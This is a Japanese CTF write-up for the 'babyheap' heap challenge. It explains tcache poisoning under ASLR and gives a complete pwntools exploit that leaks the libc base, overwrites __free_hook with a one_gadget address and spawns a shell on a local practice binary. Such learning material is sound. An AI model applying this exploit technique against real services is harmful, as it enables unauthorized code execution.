エクスプロイトコード作成の準備

TCache Poisoningの手順はここまでの確認で理解できたので、babyheapのセキュリティ機構との兼ね合いから、シェルを奪取するために他に必要な情報を準備する。今回はASLRが有効になっているため、スタックやヒープ、共有ライブラリなどをメモリに配置するときにアドレスの一部はランダム化される。

そこで、今回は__free_hookを使いone_gadgetを実行する。
__free_hookは、ここに格納されているアドレスをfree実行時にフックしてくれるので、Alloc(1)時に__free_hookのアドレスにone_gadgetのアドレスを格納できれば攻撃が成功する。man

以上を踏まえてやることとしては、

  • one_gadgetのアドレスを探す
  • __free_hookのオフセットを取得する
  • stdin関数の実行アドレスとオフセットからglibcのベースアドレスを求める が必要になる。

最後のglibcのベースアドレスに関しては、エクスプロイトコードの中で求めれば良さそうだが、上2つに関しては事前に調べておく。

one_gadgetのアドレスを調べる

lddコマンドでbabyheapが使っているライブラリを調べる。

# ldd babyheap 
    linux-vdso.so.1 (0x00007fff797fe000)
    libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f0adec53000)
    /lib64/ld-linux-x86-64.so.2 (0x00007f0adf247000)

libc.so.6の中からone_gadgetを探す。

root@955ba940c3ee:/sandbox/pwn/2_babyheap# one_gadget /lib/x86_64-linux-gnu/libc.so.6
0x4f2c5 execve("/bin/sh", rsp+0x40, environ)
constraints:
  rsp & 0xf == 0
  rcx == NULL

0x4f322 execve("/bin/sh", rsp+0x40, environ)
constraints:
  [rsp+0x40] == NULL

0x10a38c execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL

__free_hookのオフセットを調べる

libc.so.6の中から__free_hookのオフセットを調べる。

# nm -D /lib/x86_64-linux-gnu/libc.so.6 | grep __free_hook
00000000003ed8e8 V __free_hook

stdinのオフセットを調べる

同様にlibc.so.6の中から_IO_2_1_stdin_のオフセットを調べる。

# nm -D /lib/x86_64-linux-gnu/libc.so.6 | grep stdin      
00000000003eba00 D _IO_2_1_stdin_
00000000003ec850 D stdin

エクスプロイト

from pwn import *

context(os="linux", arch="amd64")
con = process("./babyheap")

def alloc(data):
    con.recvuntil("> ")
    con.sendline("1")
    con.recvuntil("Content: ")
    con.sendline(data)

def delete():
    con.recvuntil("> ")
    con.sendline("2")

def wipe():
    con.recvuntil("> ")
    con.sendline("3")

# Offset
stdin_offset = 0x3eba00
free_hook_offset = 0x3ed8e8
one_gadget_offset = 0x4f322

# GLibc Base
con.recvuntil(">>>>> ")
addr_stdin = int(con.recvuntil(" "), 16)
libc_base = addr_stdin - stdin_offset
print("[*] libc_base_addr = 0x%x" % libc_base)

# TcachePoisoning
alloc("test")
delete()
delete()
wipe()
alloc(pack(libc_base + free_hook_offset))
wipe()
alloc("test")
wipe()
alloc(pack(libc_base + one_gadget_offset))

# Execute OneGadget
delete()

con.interactive()

終わりに

初めてのヒープ問題は、個人的には結構難しかった(writeup含め色々な情報を貪った)
babyheap相当 優しいらしいが、知らないといけない情報が多く基礎が全然足りてないのを実感。
攻撃方法やメモリ管理については、今回のウォークスルーで基礎の基礎の基ぐらいは理解できたと思うが、これ系の問題は数こなして色々なパターンに触れないとなんともならないな。と言う感想を抱いた。

終わり